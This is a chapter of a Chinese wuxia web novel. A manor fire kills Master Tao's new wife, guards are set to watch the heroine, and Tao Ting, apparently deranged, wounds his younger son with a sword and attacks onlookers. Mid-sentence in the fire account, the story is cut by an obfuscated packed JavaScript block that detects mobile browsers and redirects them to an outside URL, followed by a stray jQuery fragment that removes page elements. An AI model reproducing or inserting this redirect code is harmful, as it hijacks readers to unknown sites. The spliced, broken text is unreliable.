14. 辞行又遇怪事生

    “走水啦!”一声喊扯破了陶家山庄清晨的安静。


    庄主所住的偏房突然起了火,火势来得又急又猛。下人们正在屋里休息,发现这火的时候,整个侧屋都已近烧了起来。


    半个山庄里的下人都来救火,连带参加武林会的各门各派也来帮忙。当然这里面并不包括萧策,他住的院子本就是特意安排的,偏远又安静。


    此时他还睡着,全然不知外面乱成了一团。


    倒是冷明珠起得早,听见动静出去看了一眼,就被纨曲叫住拉了回来。


    “这么早就起了?”纨曲问。


    冷明珠点点头,老实答道:“今日还多睡了一个时辰。”


    纨曲笑着说早饭已经准备好了,赶着冷明珠去吃东西。


    “外面似乎是发生了什么事情,一早就嘈杂得很,”冷明珠抬起手点了点门,顿了一下还是问:“要去看看吗?”


    “不必了,”纨曲领着冷明珠往屋里走,一边道“方才我吩咐了他们,这些日子里没有吩咐便不许出门,你也是一样,在院子里休息也好练剑也好,只不要出门了,省的出门一趟染得一身腥。”


    冷明珠在桌边坐下,看着纨曲面上并无异样:“是有人……”


    “莫去管有没有人,只是小心为上总是好的。”纨曲说罢,旁边的小丫头就端着早点上来,摆在冷明珠的手边。


    纨曲也在桌边坐下,抬手正了正自己头上的钗子,示意冷明珠动筷:“过两日能走了,我们便搬到自己的庄子里去,这里不能久待,你也早些收拾东西。”


    冷明珠本来低头喝粥,听说可以走了,赶忙咽了粥问道:“是在城里还是城外面?”


    纨曲道都有。


    “只是住哪里还是要看少爷的意思,城外的庄子本是老太太为了老太爷修的,少爷担心着老太太伤心,估摸着还是会住城里的院子。”


    冷明珠点点头,对于那位一怒为红颜的师叔祖她也是听说过的,但是也只是师兄弟之间悄悄提上两句,在师父们面前是不敢说的。


    那位师叔祖是沧海宗上下众所周知的秘密。


    当时师姐爱从山下偷偷带小画本上山,冷明珠闲来无事也看过几眼,对于男女之情是一知半解。


    看师姐弟感叹真情可贵,她只是想,为一人与亲人们为敌,那该是多么沉重的感情,午夜梦回他是否会有一丝后悔?


    -


    纨曲又坐了一会,同冷明珠絮叨了几句,便有小丫头来唤,说是庄主醒了正叫纨曲去。


    “小祖宗一起来就不让人安生,”纨曲虽然是抱怨,但脸上是却还是笑着,匆忙放下碗筷往前头去了。


    冷明珠瞧着觉得她今天心情很好,但也没有多问,只是专心看着自己面前的粥,吃得香甜。


    今天这米粥熬得稠,配上爽口咸菜,冷明珠十分喜欢,像是又回到沧海宗,师姐弟们围在一起的日子。


    沉默着一碗喝完,冷明珠眼睛有些酸胀。今天的粥热气熏眼,冷明珠想。


    -


    萧策靠在床柱上,人刚起脑袋里还有点迷糊,眼睛看向虚空。


    纨曲进去的时候影三正在坐在房里的椅子上,他见纨曲进来了,点头致意:“纨姐。”


    “刚刚醒?”纨曲点了点头当做回礼,眼睛却看着床上的人。


    影三笑了一声道:“我刚进来,庄主就醒了。”


    萧策闭着眼睛,听见这两人说话,咳嗽一声声音有些刚睡醒的沙哑:“一早过来,是有什么事?”


    “方才陶家山庄里走了水,外面吵着扑火呢。”纨曲走过去替萧策将被子拉高了一点,又用枕头垫在了他的腰背后。


    萧策坐的舒服,只眼皮掀开一点看着影三:“走个水也不算什么大事,你这边又是什么事?”


    “先前庄主叫我送给右相送的信已经送到了,相爷道并无什么别的意思,只是字面意思而已,叫庄主不必多想,有些事他也不清楚,还需平日留意,但有了发现定会告知。”


    影三说完一顿,他又道:“不过属下刚刚过来时候,听见这庄子里的下人说方才火里死了人,是陶掌门的那位新夫人。”


    “死了?”萧策一下睁大了眼睛,他看着影三又确认了一遍:“你可确定?”


    影三点头道确定。


    “好端端得怎么……”萧策说着眉头一皱,便顿住了。


    纨曲见他如此表情,便道:“怎么了?”


    “无事,”萧策回过神,冲着影三道“现下你还有什么事情做?”


    影三摇头:“庄主未曾吩咐,属下便是无事的。”


    萧策手在被子上的花纹上无意识抓了几下,他沉吟道:“冷明珠你见过了吗?”


    “见过。”


    “见过就行,你去同她练练手,能指点两句指点两句。这段时间就跟着她,小心留意着奇怪的地方。”


    萧策说完又叮嘱道:“记得不要让她发现了。”


    影三得了令要走,但又被萧策叫住。


    “算了……被她发现也没什么,只说是我叫你盯着就是。如若她真的是要做什么对萧家不利的事……不,这当是不会。”萧策说着又摇了摇头。


    “要是惹上了甩不掉的麻烦,你能帮则帮吧。”


    等着影三走了,纨曲才出声道:“你这是……”


    “冷明珠那个傻子,能惹上什么麻烦来,差不离也就是她师门的事情,可这个麻烦早就惹上了,用不着我们提防。”


    萧策说罢揉了揉自己的太阳穴,“你且放心吧,老太太心里惦念着祖父,自然是也要护着冷明珠,我这样做她不会有意见。”


    纨曲给他将头发扎了一下,然后道:“你心里有底便够了。”


    “且走一步看一步了。”萧策又靠了回去,看样子是想再睡个回笼。


    -


    晚些时候官府又来了人,这次是被陶飞光亲自请来,张罗收敛继母尸体的。听说陶庭在昨日才好了一点,但听见这消息又是吐了好大一口血。


    庄子里赶紧又请了大夫来,一时间陶家山像是沸水里的饺子,沸沸扬扬无从下饺。


    江湖人看见四处都是搜寻的捕快,心里自是不适,连着官府的人本就看这群没事也要折腾点事出来的江湖人不过眼,更是没有什么好脸色。


    双方两看两相厌,一个上午下来不知爆发了多少口角。陶飞光和封正阳四处调停,连带着灵云上人都从他院子里出来帮忙劝和。


    只有琼阳山庄的院子里静悄悄,除了来了几趟问情况的捕快,别的人倒是未曾来过。


    萧策乐得清闲,倒是跟过来的捕快聊了几句,这才知晓了这一上午弄得陶家里鸡飞狗跳的原因。


    因着书房那日起了火,连着的主院一边也受了牵连。陶门主移去了陶飞光那里住,那位陶夫人昨日便歇在侧院里。


    今日天刚擦亮的时候便起了火,外面守夜的人睡着了,还是闻见了烟味才醒,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665595|156760||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这才急匆匆地叫人来。


    但是火已经起来了,里面的陶夫人也没有逃出来,直接烧死在了里面。


    不过那位陶夫人所出的陶二公子并未同她娘亲一起睡,而是同哥哥一起,不然怕是要跟着他娘亲一起葬身火海。


    三派弟子被杀害,陶庭受伤一事还未水落石出,又出了这档子事。加上这陶家山庄里还有四处晃荡的捕快,住在这里的武林人说什么也不愿意继续住下去,到底是死了这么多人,武林会的时间也一推再推,八成要办不成。


    前面闹得厉害,听纨曲的消息,下午两边的人还动上了手。萧策听了也只是一笑,他将自己手上的书一扔,道:“庄子收拾好了便搬过去吧,这老死人的地方住着晦气,晚些时候我便去同陶飞光辞行。”


    -


    陶飞光此时正照顾着勉强能坐起来的父亲。


    火场里遭了一场罪,烟呛进了陶庭的喉咙里,大夫说短时间里都不能说话,身上各处也有被被火燎伤。


    进又加上刚刚听闻爱妻身亡,大惊大恸之间,样子看着也憔悴了许多。


    陶飞光将药放在矮桌上,轻声道:“父亲,身体重要。”


    陶庭恍若未闻,只是一直看着一处发呆,陶飞光叹了口气,将药端了起来,舀了一勺喂到父亲的嘴边。


    勺子刚刚挨到陶庭的嘴边,陶飞光的手便抓住。


    陶庭死死攥紧儿子的手,眼神像是要剜出他的心,反而陶飞光震惊之外还有余力去关心父亲:“父亲,你这是怎么了?”


    他挣了几下没有挣开,便又问了一遍:“我是飞光啊,父亲!”


    陶庭看着他又沉默了一会,这才收回自己的手,步履蹒跚挪到桌边,颤抖着在纸上写了几个字。


    陶飞光凑过去一看,便见上面写着:方才将你误认成了别人,抱歉。


    “父亲兴许是在房间里躺久了,我扶着父亲出去走走吧。”陶飞光点头表示不介意,依然关心父亲。


    陶庭摇了摇头,又提笔写了几句,嘱咐陶飞光准备好陶夫人的后事,一定要用心准备风光大葬。至于逍遥门中别的事情,便交给几个长老做便是。


    陶飞光点头一一应了下来,正准备继续给陶庭继续喂药却被他阻止了。陶庭示意他放在这里等下自己喝,又吩咐了待会将陶二公子带过来。


    “弟弟在这里怕是会吵到父亲休息。”陶飞光这样劝了几句。但陶庭执意如此,还道亲父子之间哪里有什么打扰。


    陶飞光见父亲执意如此,便也只能点头应下出门去接人过来。


    -


    下午时候影三同冷明珠过了几招,两人便被侍女叫着去陪同萧策去与陶家辞行。纨曲则去了老太太那边只会一声,看老太太是跟着一起走,还是在梅夫人这里再呆上几天。


    萧策才到陶飞光院门口便被告知,大公子出去办事了,只有掌门在里面,萧策听罢眉头一皱,便说先回去晚些再来。


    但此时那院中忽然传出凄厉的孩提哭声,接着便是一阵轰隆的声响。


    外面的两个护院匆忙将院门打开,便看见那位本该卧床不起的陶掌门,此刻正提着一把长剑,打着赤脚,披头散发站在那房门口。


    那一柄长剑上鲜红刺眼,血顺着剑身滴答落在青砖上。而那陶二公子正躺在陶掌门脚边,身上的衣服已经被血侵染,连着脸上都是一片鲜血淋漓。


    陶庭抬头看见站在院门口的人,竟然大吼一声提着剑攻了过来。